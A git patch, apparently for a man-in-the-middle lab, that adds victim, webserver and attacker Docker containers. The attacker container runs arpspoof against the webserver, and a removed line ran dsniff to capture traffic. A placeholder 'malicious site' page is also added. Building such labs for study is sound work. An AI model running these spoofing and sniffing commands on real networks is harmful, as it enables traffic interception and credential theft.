From 86e69f5992acf80c84a3f046f786c9e73a037c9a Mon Sep 17 00:00:00 2001 From: iMax Date: Tue, 21 Jan 2025 11:01:39 +0100 Subject: [PATCH] Avancement arpspoof --- compose.yml | 9 +++++++++ docker/apache2/dockerfile | 4 ++-- docker/attacker/dockerfile | 18 +++++++++++++----- docker/attacker/index1.html | 11 +++++++++++ docker/victim/dockerfile | 5 +++++ 5 files changed, 40 insertions(+), 7 deletions(-) create mode 100644 docker/attacker/index1.html create mode 100644 docker/victim/dockerfile diff --git a/compose.yml b/compose.yml index 27c10d2..a54282e 100644 --- a/compose.yml +++ b/compose.yml @@ -18,6 +18,15 @@ services: privileged: true depends_on: - webserver + victim: + build: docker/victim + container_name: victim + networks: + - mynetwork + depends_on: + - webserver + - attacker + stdin_open: true networks: mynetwork: diff --git a/docker/apache2/dockerfile b/docker/apache2/dockerfile index a7f95e9..c77c8f6 100644 --- a/docker/apache2/dockerfile +++ b/docker/apache2/dockerfile @@ -3,8 +3,8 @@ WORKDIR /app COPY react-page . RUN npm i && npm run build -FROM debian:stable-slim -RUN apt-get update && apt-get install -y apache2 openssl ca-certificates \ +FROM debian:bookworm-slim +RUN apt-get update && apt-get install -y apache2 openssl ca-certificates net-tools\ && rm -rf /var/lib/apt/lists/* \ && a2enmod ssl && a2ensite default-ssl COPY 000-default.conf /etc/apache2/sites-available/000-default.conf diff --git a/docker/attacker/dockerfile b/docker/attacker/dockerfile index f67ba01..ff1f6bb 100644 --- a/docker/attacker/dockerfile +++ b/docker/attacker/dockerfile @@ -1,7 +1,15 @@ -FROM debian:bookworm-slim -RUN apt-get update && apt-get install -y dsniff \ - && rm -rf /var/lib/apt/lists/* +FROM debian + COPY ./ip_forward /usr/local/bin/ip_forward -# CMD ["curl", "--insecure", "https://webserver/"] -CMD ["dsniff", "-i", "eth0", "-w", "/tmp/dsniff.out"] \ No newline at end of file +COPY ./index1.html /var/www/html/ + + +RUN apt-get update && apt-get install -y dsniff net-tools apache2 \ + && rm -rf /var/lib/apt/lists/* \ + && apache2ctl start + + + + +CMD ["arpspoof", "-i", "eth0", "-t", "webserver", "-r", "webserver"] \ No newline at end of file diff --git a/docker/attacker/index1.html b/docker/attacker/index1.html new file mode 100644 index 0000000..06271fb --- /dev/null +++ b/docker/attacker/index1.html @@ -0,0 +1,11 @@ + + + + + + Page internet + + +

Site malveillant

+ + \ No newline at end of file diff --git a/docker/victim/dockerfile b/docker/victim/dockerfile new file mode 100644 index 0000000..da0e39b --- /dev/null +++ b/docker/victim/dockerfile @@ -0,0 +1,5 @@ +FROM debian:bookworm-slim +RUN apt-get update && apt-get install -y curl python3 python3-pip \ + && rm -rf /var/lib/apt/lists/* + +